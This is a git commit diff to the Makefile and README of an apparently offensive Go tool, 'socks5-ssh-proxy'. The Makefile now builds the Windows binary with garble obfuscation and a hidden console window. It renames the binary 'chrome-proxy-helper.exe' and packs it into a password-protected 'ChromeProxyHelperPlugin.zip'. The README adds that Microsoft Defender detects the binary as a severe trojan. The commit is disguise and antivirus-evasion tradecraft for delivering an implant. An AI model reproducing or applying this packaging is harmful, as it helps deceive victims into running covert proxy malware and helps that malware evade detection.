Build windows executable release in windowsgui mode so console doesn't pop up
This commit is contained in:
parent
44d50d5f7c
commit
a845f03937
15
Makefile
15
Makefile
|
|
@ -1,7 +1,7 @@
|
||||||
SOURCES=Makefile main.go main_release.go main_debug.go config.go config_release.go config_template.go
|
SOURCES=Makefile main.go main_release.go main_debug.go config.go config_release.go config_template.go
|
||||||
GARBLE_BIN = $(shell go env GOPATH)/bin/garble
|
GARBLE_BIN = $(shell go env GOPATH)/bin/garble
|
||||||
|
|
||||||
all: socks5-ssh-proxy socks5-ssh-proxy.release
|
all: socks5-ssh-proxy socks5-ssh-proxy.release socks5-ssh-proxy.exe
|
||||||
test: socks5-ssh-proxy
|
test: socks5-ssh-proxy
|
||||||
cp socks5-ssh-proxy ~/.ssh; cd ~/.ssh; ~/.ssh/socks5-ssh-proxy
|
cp socks5-ssh-proxy ~/.ssh; cd ~/.ssh; ~/.ssh/socks5-ssh-proxy
|
||||||
test-release: socks5-ssh-proxy.release
|
test-release: socks5-ssh-proxy.release
|
||||||
|
|
@ -12,11 +12,12 @@ socks5-ssh-proxy.release: resources $(SOURCES)
|
||||||
go build -tags release -o $@
|
go build -tags release -o $@
|
||||||
win: socks5-ssh-proxy.exe
|
win: socks5-ssh-proxy.exe
|
||||||
socks5-ssh-proxy.exe: resources $(GARBLE_BIN) $(SOURCES)
|
socks5-ssh-proxy.exe: resources $(GARBLE_BIN) $(SOURCES)
|
||||||
GOOS=windows GOARCH=amd64 $(GARBLE_BIN) build -tags release -o $@
|
GOOS=windows GOARCH=amd64 $(GARBLE_BIN) build -ldflags -H=windowsgui -tags release -o $@
|
||||||
win-package: socks5-ssh-proxy.exe
|
win-package: ChromeProxyHelperPlugin.zip
|
||||||
cp socks5-ssh-proxy.exe chrome-helper.exe
|
ChromeProxyHelperPlugin.zip: socks5-ssh-proxy.exe
|
||||||
zip -eP resistanceIsFutile ChromeBrowserPlugin.zip chrome-helper.exe
|
cp socks5-ssh-proxy.exe chrome-proxy-helper.exe
|
||||||
rm -f chrome-helper.exe
|
zip -eP resistanceIsFutile ChromeProxyHelperPlugin.zip chrome-proxy-helper.exe
|
||||||
|
rm -f chrome-proxy-helper.exe
|
||||||
install-deps: $(GARBLE_BIN)
|
install-deps: $(GARBLE_BIN)
|
||||||
$(GARBLE_BIN):
|
$(GARBLE_BIN):
|
||||||
go install mvdan.cc/garble@v0.12.1
|
go install mvdan.cc/garble@v0.12.1
|
||||||
|
|
@ -25,6 +26,8 @@ clean:
|
||||||
rm -f *.zip
|
rm -f *.zip
|
||||||
rm -f socks5-ssh-proxy
|
rm -f socks5-ssh-proxy
|
||||||
rm -f socks5-ssh-proxy.release
|
rm -f socks5-ssh-proxy.release
|
||||||
|
clean-all: clean clean-key
|
||||||
|
clean-key:
|
||||||
rm -f resources/ssh*
|
rm -f resources/ssh*
|
||||||
|
|
||||||
config_release.go:
|
config_release.go:
|
||||||
|
|
|
||||||
|
|
@ -16,6 +16,10 @@ E.g:
|
||||||
|
|
||||||
`"C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" --proxy-server="socks5://127.0.0.1:1337" --user-data-dir="Y:\ChromeProfile"`
|
`"C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" --proxy-server="socks5://127.0.0.1:1337" --user-data-dir="Y:\ChromeProfile"`
|
||||||
|
|
||||||
|
## Detection
|
||||||
|
|
||||||
|
* Microsoft Defender: Trojan:Win32/Gracing.I - Severe
|
||||||
|
|
||||||
## Related blog posts
|
## Related blog posts
|
||||||
|
|
||||||
* https://blog.projectdiscovery.io/proxify-portable-cli-based-proxy/
|
* https://blog.projectdiscovery.io/proxify-portable-cli-based-proxy/
|
||||||
|
|
|
||||||
Loading…
Reference in New Issue